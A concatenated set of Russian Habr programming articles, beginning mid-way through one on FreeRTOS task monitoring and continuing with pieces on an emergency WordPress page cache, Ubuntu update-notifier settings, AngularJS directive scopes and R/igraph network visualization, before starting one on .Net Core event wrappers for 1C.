static constexpr uint32_t STACK_SIZE = MIN_TASK_STACK_SIZE * 3;
static constexpr const char NAME[] = "Monitor Task";
static constexpr uint32_t PRIORITY = MIN_TASK_PRIORITY;
static constexpr uint32_t SLEEP_TIME_MS = 1000;
static constexpr uint32_t MAX_TASKS_MONITOR = 10;
};
struct GreenLedTask {
static constexpr uint32_t STACK_SIZE = MIN_TASK_STACK_SIZE * 2;
static constexpr const char NAME[] = "Green Led Task";
static constexpr uint32_t PRIORITY = MIN_TASK_PRIORITY;
static constexpr uint32_t SLEEP_TIME_MS = 1000;
};
struct RedLedTask {
static constexpr uint32_t STACK_SIZE = MIN_TASK_STACK_SIZE * 2;
static constexpr const char NAME[] = "Red Led Task";
static constexpr uint32_t PRIORITY = MIN_TASK_PRIORITY;
static constexpr uint32_t SLEEP_TIME_MS = 1000;
};
struct YellowLedTask {
static constexpr uint32_t STACK_SIZE = MIN_TASK_STACK_SIZE * 2;
static constexpr const char NAME[] = "Yellow Led Task";
static constexpr uint32_t PRIORITY = MIN_TASK_PRIORITY;
static constexpr uint32_t SLEEP_TIME_MS = 1000;
};
```
Тогда, после запуска программы я увижу в терминале следующую информацию:
Ого, уже неплохо! Так давайте разберемся, что мы в этом логе видим.
* Мы видим имена всех существующих задач. Помимо задач, описанных в файле TaskConfig.h мы также видим задачу IDLE, которая создается автоматически, когда стартует планировщик RTOS (о ее предназначении написано [здесь](https://www.freertos.org/RTOS-idle-task.html)).
* Мы видим состояние каждой задачи, где B = Blocked, R = Ready, S = Suspended, D = Deleted.
* Мы видим приоритет каждой задачи.
* Мы видим минимальный размер свободного места на стеке, с момента создания задачи. И тут для нас становится очевидным, что для работы большинства задач, мы выделили слишком много стека. Например, для задачи LoggerTask был выделен стек в 256 слов, а реально она использует только 40. Таким образом, стека в 64 слова вполне достаточно для функционирования задачи. Вот вам и начало оптимизации.
* Мы видим текущий и минимальный (с момета старта планировщика) размер свободного места в куче. В нашем простом примере, эти значения равны, но в более сложных программах эти две переменные, разумеется, отличаются. Таким образом, мы понимаем, что из 100КБ отданных FreeRTOS, она использует меньше 10КБ, следовательно в наших руках более 90КБ свободной памяти.
* И, наконец, мы видим количество времени, прошедшее с момента старта планировщика в миллисекундах.
Применив полученные знания к файлу TasksConfig.h и понизив значение параметра configMINIMAL\_STACK\_SIZE со 128 до 64, мы получаем следующую картину:
Супер! Теперь у каждой задачи есть оптимальный запас свободного места на стеке: не слишком большой, и не слишком маленький. Кроме того, мы высвободили почти 3КБ памяти.
А теперь пришло время поговорить о том, чего мы в полученном логе пока не видим. Мы не видим того, сколько процессорного времени использует каждая задача, т.е. сколько времени, задача находилась в состоянии Running. Чтобы это узнать, нам необходимо установить параметр **configGENERATE\_RUN\_TIME\_STATS** в 1 и дополнить файл FreeRTOSConfig.h следующими определениями:
```
#if configGENERATE_RUN_TIME_STATS == 1
void vConfigureTimerForRunTimeStats(void);
unsigned long vGetTimerForRunTimeStats(void);
#define portCONFIGURE_TIMER_FOR_RUN_TIME_STATS() vConfigureTimerForRunTimeStats()
#define portGET_RUN_TIME_COUNTER_VALUE() vGetTimerForRunTimeStats()
#endif
```
Теперь нам нужно завести внешний таймер, отсчитающий время (желательно в микросекундах, потому что на выполнение некоторых задач может требоваться времени меньше миллисекунды, а мы хотим все-таки знать обо всем). Дополним файл MonitorTask.h объявлением двух статических функций:
```
static void config_timer();
static unsigned long get_counter_value();
```
В файле MonitorTask.cpp напишем их реализацию:
```
void MonitorTask::config_timer()
{
_timer->disable_counter();
_timer->set_counter_direction(cm3cpp::tim::Timer::CounterDirection::UP);
_timer->set_alignment(cm3cpp::tim::Timer::Alignment::EDGE);
_timer->set_clock_division(cm3cpp::tim::Timer::ClockDivision::TIMER_CLOCK_MUL_1);
_timer->set_prescaler_value(hw::config::MONITOR_TIMER_PRESQ);
_timer->set_autoreload_value(hw::config::MONITOR_AUTORELOAD);
_timer->enable_counter();
_timer->set_counter_value(0);
}
unsigned long MonitorTask::get_counter_value()
{
static unsigned long _counter = 0;
_counter += _timer->get_counter_value();
_timer->set_counter_value(0);
return (_counter);
}
```
А в файле main.cpp напишем реализацию функций vConfigureTimerForRunTimeStats() и vGetTimerForRunTimeStats(), которые мы объявили в FreeRTOSConfig.h:
```
#if configGENERATE_RUN_TIME_STATS == 1
void vConfigureTimerForRunTimeStats(void)
{
tasks::MonitorTask::config_timer();
}
unsigned long vGetTimerForRunTimeStats(void)
{
return (tasks::MonitorTask::get_counter_value());
}
#endif
```
Теперь, после запуска программы наш лог станет вот таким:
Сравнивая значения Total RunTime и System Uptime, мы можем заключить, что лишь треть времени наша программа занята исполнением задач, причем 98% времени тратится на IDLE, а 2% на все остальные задачи. Чем же наша программа занимается оставшиеся две трети времени? Это время тратится на работу планировщика и переключение между всеми задачами. Печально, но факт. Разумеется, есть способы оптимизировать это время, но это уже тема для следующей статьи.
Что касается параметра **configUSE\_STATS\_FORMATTING\_FUNCTIONS**, то он является очень второстепенным, чаще всего он используется в различных демо программах, предоставляемых разработчиками FreeRTOS. Его суть заключается в том, что он включает две функции:
```
void vTaskList(char* pcWriteBuffer);
void vTaskGetRunTimeStats(char* pcWriteBuffer);
```
Обе эти функции НЕ являются частью FreeRTOS. Внутри себя, они вызывают ту же самую функцию uxTaskGetSystemState, которой мы пользовались выше, и складывают в pcWriteBuffer уже отформатированные данные. Сами разработчики не рекомендуют использовать эти функции (но, разумеется, и не запрещают), укзывая на то, что их задача скорее демонстрационная, а вметно них пользоваться функцией uxTaskGetSystemState напрямую, как мы и сделали.
На этом все. Как всегда надеюсь, что эта статья была полезной и информативной)
Для сборки и отладки [демо проекта](https://github.com/mamilla11/monitor), описанного в статье, использовалась связка Eclipse + GNU MCU Eclipse (formerly GNU ARM Eclipse) + OpenOCD.
[Блог компании Третий Пин](https://geektimes.ru/company/thirdpin/) | https://habr.com/ru/post/352782/ | null | ru | null |
# 16 тонн. Как я спасал гибнущий под нагрузкой сайт на WordPress, имея весьма поверхностные знания в области этой CMS
Статья будет короткой и сумбурной — я пишу ее с целью скоротать пару часов перед тем как начать откатывать сайт к предыдущему «нормальному» состоянию.
Эта история началась пять часов назад. Ко мне обратился владелец одного тематического новостного сайта. Тематика — спортивные соревнования. У сайта есть две проблемы. Во-первых, в моменты крупных и сильно ожидаемых состязаний количество посетителей на сайте увеличивается на порядок. Вторая проблема — он сделан на WordPress, причем довольно небрежно. Думаю, что изначально это был обычный WP-сайт. Но потом он многократно «дорабатывался»: куда ни попадя втыкались разные рекламные блоки, вводились новые «решения», ставились всякие плагины для «оптимизации» и расширения возможностей. Кроме того, каждый день, на протяжении нескольких лет, появлялось около десятка постов. Размер БД — несколько гигабайт, ‘upload’ идет на десятки гигабайт. Со временем сайт превратился во что-то похожее на это:
И вот, где-то в 0.00 по Москве сайт начинает падать под наплывом любителей спорта. Главная страница то отдает код 500, то загружается дольше минуты. Подозреваю, что периоды таких «набегов» посетителей — самое хлебное время для подобных ресурсов: клики, ставки и все такое. Владелец нервничает, что, в общем-то, понятно. И так получается, что из тех, кто не спит в эту субботнюю ночь и что-то понимает в веб-разработке у владельца есть только я.
И тут следующая проблема. Я, мягко говоря, не очень люблю WordPress. И, что самое плохое в этой ситуации, не очень в нем разбираюсь. Возможно, потому и не люблю, что не умею его правильно готовить. Но факт остается фактом — до этого момента я никогда не имел дела со сколько-нибудь крупными проектами, которые сделаны на его основе. Я, конечно, встречался с личными блогами и сайтами небольших контор на WP, где несколько сотен посетителей в сутки — счастье. Там он вполне справлялся, никаких проблем. Но и особых причин выяснять как он работает с ресурсами и как обеспечить его нормальную производительность там не было. Работает и работает.
Но в сложившейся ситуации нужно решить проблему его производительности. Причем очень быстро. Времени на чтение мануалов нет, особых знаний и умений тоже нет. Что делать? Тут и я начинаю нервничать — передается настроение владельца сайта.
Разумеется, первая мысль — пойти по пути наименьшего сопротивления. Т.е. просто перейти на старший, более «мощный» тариф. Сайт размещен на VDS. И тут выясняется, что этот способ не пройдет: переход на большие ресурсы — **только по заявке** в тех. поддержку хостера. Срок исполнения — от нескольких часов. Хостер объясняет это виртуализацией KVM. Ok, этот вариант не подходит. Одновременный звонок в поддержку и чтение сайта хостера занимают около пяти минут.
Следующий вариант, который проносится в моей голове: «WordPress славен своими плагинами. Я даже помню названия двух плагинов для кэширования: WP Super Cache и WP Fastest Cache». Как я узнаю позже, оба входят во всякие списки вроде «Топ-10 плагинов кэширования для WP» и т.п. Я подозреваю, что устанавливать плагины на постоянно падающем сайте — очень неприятное занятие. Поэтому сайт около пяти минут работает только для меня. Я быстро ставлю первый плагин, пробегаю глазами настройки — вроде все ok. Включаю сайт для всех посетителей. Результат… Ноль. Возможно, что-то улучшилось, но это как мертвому припарки — улучшение незаметно невооруженным глазом. Сайт упорно продолжает падать. Неудачный выбор плагина? Еще быстрее жму на кнопки и ставлю второй плагин. Результат… Да такой же. Сношу и этот плагин. На все эти манипуляции у меня уходит почти пятнадцать минут.
Я подозреваю, что эти плагины вполне работают. У них тысячи и тысячи пользователей и большинство из них, очевидно, счастливы. Но мой пациент не реагирует на них. Возможно, причина в его запущенном внутреннем состоянии. В любом случае этот вариант отметается — разбираться что и почему там не работает некогда.
Владелец продолжает присылать нервные письма. Я уже собираюсь ответить, что несмотря на все старания, спасти пациента сегодня не удастся и я удалюсь на свидание с подушкой. Если, конечно, ее еще не захватила жена. И тут в голову приходит еще одна мысль.
Руки начинают искать и скачивать чистый дистрибутив WP, а голова — думать. Перед глазами стоит образ дядюшки, который любил часто (и весьма ехидно) говорить мне во времена моей юности: «Знание немногих принципов часто заменяет знание многих фактов». И вот о чем я подумал:
1. Все запросы на выдачу страниц сайта, скорее всего, проходят через некоторую единую «точку входа», роутер. Там определяется (или начинает определяться), что и в каком порядке будет дальше подключаться/считаться/выводиться.
2. Дальше, собственно, все подключается, считается и, к сожалению, выводится. Именно тут, скорее всего, происходит пожирание ресурсов. На бесконечные запросы к БД и прочие ужасы.
3. Ужасы заканчиваются, а результаты в некоторой «точке выхода» отдаются пользователю.
И если это все хотя бы примерно так, то можно применить систему кэширования, которую я называю «Топор». Кроме того, на этом сайте всем посетителям отдаются одинаковые по виду страницы. Т.е. конкретному URL соответствует страница, которая будет выглядеть одинаково для любого пользователя. Ну, кроме тех, что авторизовались в админ. панели WP, но они не в счет. Сейчас это только я.
Теперь нужно найти упомянутые выше точки «входа» и «выхода». «Вход» обнаруживается в файле /index.php. В котором честно написано: «This file doesn't do anything, but loads...». Чудненько. С «точкой выхода» сложнее, но я вспоминаю, что что-то слышал про событие «shutdown» в WP, которое выполняется после всего. Быстрым поиском по чистому дистрибутиву нахожу функцию «shutdown\_action\_hook» в /wp-includes/load.php. Еще быстрее, написав внутри нее «echo» проверяю в каком месте страницы она выведет «GoldenAxe!». В конце. Отлично! Искомые точки найдены, на все ушло около 10 минут. Теперь нужно как-то реализовать очень простую логику:
1. При первом обращении к странице она генерируется как обычно. После того, как весь вывод сгенерируется, его нужно будет записать в отдельный файл. Произойти это должно в «точке выхода». Файл нужно будет записать в папку /\_cache/. Имя файла будет выглядеть следующим образом: md5-хэш URL страницы (без параметров), которая запрашивается. Т.к. это единственный параметр от которого зависит вид выводимой страницы, то этого вполне достаточно.
2. При втором обращении к странице в «точке входа» мы будем проверять есть ли в папке с файлами кэша нужный (с соответствующим запрашиваемому URL md5-именем). Если есть — сразу читаем из него и выводим результат.
Все. Вся система. Остается только придумать как собрать вывод. Как многие знают, шаблоны WP — это адская смесь HTML и PHP. Т.е. в них постоянно встречаются конструкции вроде:
```
php
if($Some==1) echo '<div class="novost"';
else echo '';
?>
```
Я считаю, что это ужасно. Но так есть. Таким образом, у нас нет некоторой переменной $Content в которую бы собирался весь контент страницы перед выводом и уже затем выводился один раз с помощью того же «echo». У нас есть сотни этих «echo» в шаблонах. И их нужно как-то собрать. Когда-то давно, когда я читал мануал к PHP я встречал там функцию «ob\_get\_contents()». Я никогда ей не пользовался, но тут она пригодилась. Она возвращает содержимое буфера вывода и идет в компании с функциями «ob\_start()» и «ob\_end\_clean()». Первая включает буферизацию, вторая — выключает и очищает буфер. Все это я мгновенно загуглил. Прошло еще пять минут. Вот какой код я в результате поместил в «точку входа» и «точку выхода»:
```
php
// «Точка входа»:
$URL_WO_QS = strtok($_SERVER["REQUEST_URI"], '?');
$CacheFile = $_SERVER["DOCUMENT_ROOT"].'/_cache/'.md5($URL_WO_QS).'.cache';
if(file_exists($CacheFile) && intval($_REQUEST['test'])!=1){
echo file_get_contents($CacheFile);
exit();
}
ob_start();
// ....
// ....
// ....
// «Точка выхода»:
$Result = ob_get_contents();
ob_end_clean();
$URL_WO_QS = strtok($_SERVER["REQUEST_URI"], '?');
$CacheFile = $_SERVER["DOCUMENT_ROOT"].'/_cache/'.md5($URL_WO_QS).'.cache';
file_put_contents($CacheFile, $Result);
echo $Result;
?
```
Ну а дальше оставалось только проверить результат. Я специально оставили себе возможность запросить сгенерированную стандартным способом страницу (передав в URL параметр «test» для $\_REQUEST в «точке входа»). Получив выдачу страницы после кэширования «Топором» я сравнил ее со «стандартной» выдачей. Нашел небольшое отличие — в кэшированную версию не попал один js-скрипт. Тот, который отвечал за загрузку дополнительных постов в список при нажатии на кнопку «показать еще посты». Выяснять почему он не попадает в вывод было некогда, поэтому я просто добавил вызов скрипта в шаблон. И все заработало.
Конечно, у решения есть масса недостатков: если добавить через админ. панель новый пост, то он не будет отображаться в некоторых списках. В тех, которые на этом сайте не подгружаются с помощью AJAX. По какой-то причине неправильно стал срабатывать подсчет просмотров постов. Но все это мелочи, которые можно пережить несколько часов.
А плюс один, зато большой: сайт перестал отдавать код 500 или ждать ответа и выдачи страницы по полторы минуты. Теперь сам вывод (ответ страницы) занимает около 40 ms вместо 1.5 m и все пользователи без исключения могут нажимать на рекламу. Конечно, полная загрузка страницы занимает больше времени: многочисленные неоптимизированные изображения, скрипты рекламы и прочие шрифты делают свое дело. Но глазу это незаметно. Сайт работает быстро.
На все внедрение моего «Топора» ушло не более получаса. Сейчас я пойду снимать его и возвращать сайт в исходное состояние. Спортивное соревнование окончено, фанаты, а с ними и я, идем спать.
Не судите мое решение слишком строго. Помните, что я принимал его в условиях жестких временных ограничений и без серьезных знаний WordPress. Возможно, существовало более изящное и правильное решение. Если вы его знаете — напишите в комментариях. Я же могу сказать, что чувствовал себя ветеринаром, которому пришлось оперировать человека. Ну или наоборот. Хорошей вам погоды, друзья!
**Update**. Читая комментарии к статье, я понял, что не смог четко обозначить причину ее написания и вывести основную мысль. В результате, как мне кажется, возникло некоторое недопонимание между мной и читателями. Моя вина. В свое оправдание скажу, что писал ее уже в весьма осоловевшем состоянии.
Эта статья не о поиске действительно правильного решения при общих условиях. Она о поиске оптимального решения в условиях жестких ограничений: по времени, по результату и по знаниям. Под знаниями я имею в виду не только свои личные знания в области WP, которые, признаю, весьма поверхностны, но и предоставленную в мое распоряжение информацию. Под «информацией» я имею в виду, например, различные доступы. Я имел доступ к файлам самого сайта и к личному кабинету на сайте хостера. В нем, в основном, решаются вопросы оплаты и тарифов. При этом доступа к панели управления самим сервером я не имел. Со всеми вытекающими. С самим этим хостером я ранее не сталкивался, поэтому порядок и особенности его работы для меня тоже были загадкой.
Несомненно, правильное решение проблемы этого сайта в общем выглядит так: «ищем причины низкой производительности с помощью разных инструментов и методик. Препарируем локальную копию сайта. За чашечкой чая обдумываем решения, проверяем их. Обновляем рабочую копию. Анализируем ее работу и эффективность обновлений. При необходимости вносим правки. Все!».
В реальности у меня был час времени, сайт теряющий посетителей в самый ненужный момент и нервничающий владелец. Времени на создание бэкапа и локальной копии (да и, по сути, самой возможности этого) у меня не было. Отсюда еще один момент — я отчаянно не хотел навредить и сломать. Это, как вы понимаете, была бы катастрофа. Поэтому еще одним требованием к решению была его безопасность. Такие решения, как удаление уже интегрированных плагинов, на мой взгляд, этому критерию не соответствуют. Даже установка новых, в общем-то, не вызывала у меня восторга.
Некоторые из комментаторов пеняют мне на криворукость. Мол, я не смог расставить в нужных местах галочки в настройках плагина WordPress. С вероятностью 90% причина все-таки не в этом. Как я узнал позже, сравнив чистый дистрибутив той же версии WP с тем, что есть на сайте, правились даже те файлы WP, которые, как я понимаю, являются «системными». И правились весьма обширно. Что, по идее, совершенно недопустимо. Таким образом, вероятность штатной работы системы, которую мы называем «WordPress» резко снижается. В том числе и вероятность того, что она штатно будет взаимодействовать с плагинами кэширования. Фактически, в данном случае, мы имеем «черный ящик», некоторый **кастомный** проект на базе WP.
Мое решение — это **костыль**. Я полностью отдаю себе в этом отчет, равно как и в том, что данное решение не является чем-то новым или прорывным и имеет определенные недостатки. В то же время, оно было простым, безопасным и обеспечило необходимый результат: доступность сайта, его контента и функционала для пользователей в момент пиковых нагрузок. Кроме того, костыль (в силу простоты) был легко и бесследно удаляем. Также я признаю, что имея возможность и время на размышления и некоторую дополнительную информацию я, возможно, принял бы другое решение.
В общем, статья — не столько о конкретном техническом решении, сколько о самой ситуации. Так я и прошу вас к ней относиться. Как к истории о поиске быстрого, безопасного и удовлетворяющего задаче решения в экстремальных условиях. И (мне бы этого хотелось) как к иллюстрации на тему «Знание немногих принципов часто заменяет знание многих фактов». | https://habr.com/ru/post/347134/ | null | ru | null |
# Раздражающее поведение менеджера обновлений в Ubuntu 9.04 и как это вылечить
Не знаю из каких соображений, но способ уведомлений о доступных обновлениях системы в 9.04 был изменён. По-умолчанию, раз в неделю проверяются обновления, и если такие есть, то внезапно появляется окно со списком этих пакетов.
Не знаю как вас, а меня это сильно раздражает.
К счастью есть возможность вернуть способ уведомления об обновлениях так, как это происходило в 8.10 или 8.04 (на панели просто появлялся желтый значок, сообщающий об обновлениях программ).
Всё что для этого нужно, это ввести пару команд в программе **Терминал**. Только не нужно пугаться и убегать. Это можно сделать и через графическую систему, но через командную строку намного быстрее.
Вот эти команды (просто скопируйте их в **Терминал** и нажмите **Enter**):
отключает внезапное появление окна со списком доступных обновлений:
`**gconftool -s --type bool /apps/update-notifier/auto\_launch false**`
задаёт интервал проверки доступных обновлений. По-умолчанию он равен 7 дней, мы же поставим 1 день:
`**gconftool -s --type int /apps/update-notifier/regular\_auto\_launch\_interval 1**`
На этом можно остановиться, но есть ещё одна полезная опция, которую на мой взгляд нужно включить.
отображает с какой и на какую версию будут обновлены пакеты:
`**gconftool -s --type bool /apps/update-manager/show\_versions true**`
Вот как выглядел ввод этих команд у меня:
После этого, для чистоты эксперимента, я перезагрузил Ubuntu.
После загрузки системы и прошествии нескольких минут, на панели возле часов появился значок, показывающий о наличии обновлений. Никаких внезапно появляющихся окон.
*Значок – красный, а не жёлтый – т.к. имеются критические обновления системы.*
Если щелкнуть по этому значку левой кнопкой мыши, то появиться окно со списком доступных обновлений. Всё как было в старых версиях.
Теперь пару слов о том, для чего была введена последняя команда. Возьмем для рассмотрения любой пакет:
Видите подпись под пакетом?:
**С версии … на … (Размер: …)**
Именно для отображения этой информации и вводилась последняя команда в терминале. Иногда эта информация бывает полезной. | https://habr.com/ru/post/61643/ | null | ru | null |
# Директивы в Angularjs для начинающих. Часть 2
На мой взгляд, директивы являются основной изюминкой декларативного стиля Angularjs. Однако, если открыть комментарии пользователей в разделе официальной документации Angularjs, [посвященной директивам](http://docs.angularjs.org/guide/directive), то вы увидите, что [самый популярный из них](http://docs.angularjs.org/guide/directive#comment-838089804): «Пожалуйста, перепишите документацию, сделайте ее более доступной и структурированной. Начинающему разработчику на Angularjs сложно в ней разобраться» («Please rewrite a clearer well structured documentation of directives., this is not friendly to first time angular developers»). С этим трудно не согласится, документация пока еще сыровата и в некоторых моментах приходится прилагать большие усилия, чтобы разобраться в логике и сути функционала. Поэтому я предлагаю вам свой вольный пересказ данной главы в надежде, что кому-то это позволит сэкономить время, а так же рассчитываю на вашу поддержку и участие в комментариях. Итак, поехали!
[Часть 1](http://habrahabr.ru/post/179755/)
* Как писать директивы?
* Простой вариант создания директивы
* Развернутый вариант
* Link и Compile
##### Template и TemplateUrl
Продолжая разговор о директивах, надо отметить, что директивы по сути являются модулями, если абстрагироваться от терминологии Angularjs. То есть, в идеале, они должны быть самостоятельными элементами интерфейса со своими функционалом и разметкой. Разметка при этом может задаваться напрямую в параметре Template или храниться в отдельном файле, URL которого указывается в TemplateUrl:
[[jsFiddle](http://jsfiddle.net/dXLLz/)]
```
angular.module('helloHabrahabr', [])
.directive('habraHabr', function() {
return {
template:"Hello Habr!"
/* или */
templateUrl:"helloHabr.html"
}
});
```
**helloHabr.html**
```
Hello Habr!
```
При этом в случае, если шаблон подгружается, функции *Compile* и *Link* выполняются после загрузки.
[Полезное дополнение в комментариях](http://habrahabr.ru/post/180365/#comment_6273839)
##### Scope
Параметр Scope определяет область видимости внутри директивы. Возможно несколько вариантов:
Не указывать scope вовсе. Тогда директива, грубо говоря, работает напрямую в области видимости контроллера. То есть все переменные контроллера равны переменным директивы.
[[jsFiddle](http://jsfiddle.net/vmBmq/)]
```
{{hello}}
```
```
function forExampleController($scope){
$scope.hello="Hello Habr!";
}
angular.module('helloHabrahabr', [])
.directive('habraHabr', function() {
return {
template:"{{hello}}"
}
});
```
Другой вариант. Scope = true. В этом случае, scope будет наследоваться. То есть поля, заданные в родительском scope будут отображаться и в scope директивы, но при этом все изменения будут локальны:
[[jsFiddle](http://jsfiddle.net/RUm25/)]
```
function forExampleController($scope){
$scope.hello="Hello Habr!";
}
angular.module('helloHabrahabr', [])
.directive('habraHabr', function() {
return {
template:"{{hello}}",
scope:true
}
});
```
И наконец, самый интересный вариант. Задать изолированный scope. То есть scope, который по умолчанию абсолютно независим от контекста вызова директивы. Для этого нужно просто указать в качестве scope пустой объект **{}**:
[[jsFiddle](http://jsfiddle.net/6EzGb/)]
```
angular.module('helloHabrahabr', [])
.directive('habraHabr', function() {
return {
template:"{{hello}}",
scope:{
}
}
});
```
Дальше есть несколько вариантов работы с таким изолированным scope. Но все они сводятся к одному принципу. В объекте, который мы объявили для scope, в качестве имени свойства слева указывается некая переменная директивы, а справа название атрибута DOM c одним из трех символов в начале: @/=/&. То есть вот так:
```
scope:{
localVar1:"@attrName1",
localVar2:"=attrName2",
localVar3:"&attrName3"
}
```
Либо еще одни вариант. Не указывать имя атрибута, тогда оно будет равно имени переменной:
```
scope:{
localVar1:"@", /*localVar1:"@localVar1" */
localVar2:"=", /*localVar2:"@localVar2" */
localVar3:"&" /*localVar3:"@localVar3" */
}
```
Теперь по порядку. Префикс "@" означает, что локальной переменной будет присвоено значение атрибута:
[[jsFiddle](http://jsfiddle.net/4b4US/)]
```
```
```
angular.module('helloHabrahabr', [])
.directive('habraHabr', function() {
return {
template:"{{hello}}",
scope:{
hello:'@someAttr'
}
}
});
```
Префикс "=" означает, что в атрибуте передается уже не строчка, а имя некоторой переменной в текущем Scope. И локальная переменная будет напрямую с ней связана. То есть изменения переменной как внутри директивы, так и вне отразятся и там, и там:
[[jsFiddle](http://jsfiddle.net/4b4US/)]
```
{{hello}}
```
```
function forExampleController($scope){
$scope.hello="Hello Habr!";
}
angular.module('helloHabrahabr', [])
.directive('habraHabr', function() {
return {
template:"{{hello}}",
scope:{
hello:'=someAttr'
}
}
});
```
И наконец, последний вариант "&" предполагает, что атрибут содержит некое выражение. К примеру, «c= a+b» или проще «a+b». И теперь ваша локальная переменная становится функцией, в которую можно передавать параметры. Параметры передаются в объекте, ключами которого выступают имена переменных в функции. В конкретном случае, localVar({a:1,b:2}) вернет три.
[[jsFiddle](http://jsfiddle.net/9h29R/)]
```
angular.module('helloHabrahabr', [])
.directive('habraHabr', function() {
return {
template:"{{helloFn({a:1,b:2})}}",
scope:{
helloFn:'&someAttr'
}
}
});
```
При этом интересно, что по умолчанию, если не передавать в локальную функцию никаких параметров, переменным будут присвоены значения соответствующих переменных в родительском scope. А если указать переменную -результат, то и она также будет доступна из вне:
[[jsFiddle](http://jsfiddle.net/jHxp6/)]
```
a={{a}}
b={{b}}
parent's hello={{hello}}
```
```
function forExampleController($scope){
$scope.a="Hello";
$scope.b=" Habr!";
}
angular.module('helloHabrahabr', [])
.directive('habraHabr', function() {
return {
template:"default helloFn={{helloFn()}}\
custom hello={{helloFn({a:'Bye',b:'Habr'})}}",
scope:{
helloFn:'&someAttr'
}
}
});
```
Всем спасибо, продолжение следует. | https://habr.com/ru/post/180365/ | null | ru | null |
# Визуализация статических и динамических сетей на R, часть 5
В [первой части](http://habrahabr.ru/company/infopulse/blog/262079/):
* визуализация сетей: зачем? каким образом?
* параметры визуализации
* best practices — эстетика и производительность
* форматы данных и подготовка
* описание наборов данных, которые используются в примерах
* начало работы с igraph
Во [второй части](http://habrahabr.ru/company/infopulse/blog/263947/): цвета и шрифты в графиках R.
В [третьей](http://habrahabr.ru/company/infopulse/blog/263953/) части: параметры графов, вершин и ребер.
В [четвертой](http://habrahabr.ru/company/infopulse/blog/266199/) части: размещения сети.
В этой части: акцентирование свойств сети, вершин, ребер, путей.
#### Акцентирование свойств сети
Обратите внимание, что наш график сети все еще не слишком полезен. Мы можем определить тип и размер вершин, но немногое можем сказать о структуре, поскольку исследуемые ребра очень близко расположены. Один из способов решить проблему — посмотреть, можно ли «проредить» сеть, оставив только самые значимые связи и отбросив остальные.
```
hist(links$weight)
mean(links$weight)
sd(links$weight)
```
Есть и более сложные способы выделить ключевые ребра, но в этом примере мы оставим только те, вес которых превышает среднее значение для сети. В igraph можно удалить ребра с помощью `delete.edges(net, edges)`:
```
cut.off <- mean(links$weight)
net.sp <- delete.edges(net, E(net)[weight
```
Другой подход к решению проблемы — выводить два типа связей (ссылки и упоминания) по отдельности:
```
E(net)$width <- 1.5
plot(net, edge.color=c("dark red", "slategrey")[(E(net)$type=="hyperlink")+1],
vertex.color="gray40", layout=layout.circle)
```
```
net.m <- net - E(net)[E(net)$type=="hyperlink"] # другой способ удалить ребра
net.h <- net - E(net)[E(net)$type=="mention"]
par(mfrow=c(1,2))
plot(net.h, vertex.color="orange", main="Tie: Hyperlink") # Связь: ссылка
plot(net.m, vertex.color="lightsteelblue2", main="Tie: Mention") # Связь: упоминание
```
```
l <- layout.fruchterman.reingold(net)
plot(net.h, vertex.color="orange", layout=l, main="Tie: Hyperlink")
plot(net.m, vertex.color="lightsteelblue2", layout=l, main="Tie: Mention")
```
```
dev.off()
```
Можно также попробовать сделать карту сети более полезной, показав объединения в ней:
```
V(net)$community <- optimal.community(net)$membership
colrs <- adjustcolor( c("gray50", "tomato", "gold", "yellowgreen"), alpha=.6)
plot(net, vertex.color=colrs[V(net)$community])
```
#### Акцентирование некоторых вершин или ребер
Иногда нужно сфокусировать визуализацию на определенной вершине или группе вершин. В нашем примере сети средств массовой информации можно исследовать распространение информации между центральными объектами. Например, давайте выведем расстояние от NYT (New York Times). Функция `shortest.paths` (как показывает название) возвращает матрицу кратчайших путей между вершинами в сети.
```
dist.from.NYT <- shortest.paths(net, algorithm="unweighted")[1,]
oranges <- colorRampPalette(c("dark red", "gold"))
col <- oranges(max(dist.from.NYT)+1)[dist.from.NYT+1]
plot(net, vertex.color=col, vertex.label=dist.from.NYT, edge.arrow.size=.6,
vertex.label.color="white")
```
Или можно показать всех ближайших соседей WSJ (Wall Street Journal). Обратите внимание, что функция `neighbors` находит все вершины за один шаг от центрального объекта. Аналогичная функция, которая находит все ребра для узла, называется `incident`.
```
col <- rep("grey40", vcount(net))
col[V(net)$media=="Wall Street Journal"] <- "#ff5100"
neigh.nodes <- neighbors(net, V(net)[media=="Wall Street Journal"], mode="out")
col[neigh.nodes] <- "#ff9d00"
plot(net, vertex.color=col)
```
Другой способ привлечь внимание к группе вершин — «пометить» их:
```
plot(net, mark.groups=c(1,4,5,8), mark.col="#C5E5E7", mark.border=NA)
```
```
# Пометить несколько групп:
plot(net, mark.groups=list(c(1,4,5,8), c(15:17)),
mark.col=c("#C5E5E7","#ECD89A"), mark.border=NA)
```
Также можно выделить путь в сети:
```
news.path <- get.shortest.paths(net, V(net)[media=="MSNBC"],
V(net)[media=="New York Post"],
mode="all", output="both")
# Создать переменную цвета ребер:
ecol <- rep("gray80", ecount(net))
ecol[unlist(news.path$epath)] <- "orange"
# Создать переменную ширины ребер:
ew <- rep(2, ecount(net))
ew[unlist(news.path$epath)] <- 4
# Создать переменную цвета вершин:
vcol <- rep("gray40", vcount(net))
vcol[unlist(news.path$vpath)] <- "gold"
plot(net, vertex.color=vcol, edge.color=ecol,
edge.width=ew, edge.arrow.mode=0)
```
 | https://habr.com/ru/post/266285/ | null | ru | null |
# 1С,.Net Core. Динамическая компиляция класса обертки для получения событий .Net объекта в 1С
Это практическое применение из предыдущей статьи [.Net Core, 1C, динамическая компиляция, Scripting API.](https://habrahabr.ru/post/309340/)
По сути это продолжение [.NET(C#) для 1С. Динамическая компиляция класса обертки для использования .Net событий в 1С через ДобавитьОбработчик или ОбработкаВнешнегоСобытия](http://infostart.ru/public/417830/), но для кроссплатформенного .Net Core. Но в той разработке я использовал CodeDom. В .Net Core удобнее использовать Roslyn Scripting API.
В свое время делал вручную обертку для WhatsApp, а там более 30 событий. При этом весь процесс можно автоматизировать с помощью кодогенерации и в конечном итоге можно этот код динамически скомпилировать.
В [«Создание компонент с использованием технологии Native API»](https://its.1c.ru/db/metod8dev#content:3221:hdoc) есть метод для вызова внешнего события в 1С ExternalEvent. Синтаксис:
```
bool ExternalEvent(WCHAR_T* wsSource, WCHAR_T* wsMessage, WCHAR_T* wsData)
```
Параметры:
• Тип: WCHAR\_T\*. Строка с наименованием источника события.
• Тип: WCHAR\_T\*. Строка с наименованием события.
• Тип: WCHAR\_T\*. Строка c параметрами события.
Но в качестве wsData будем передавать ссылку на объект созданный из параметров события.
Итак начнем.
Сначала создадим описание класса на примере моего любимого System.IO.FileSystemWatcher, который в .Net Core находится в System.IO.FileSystem.Watcher
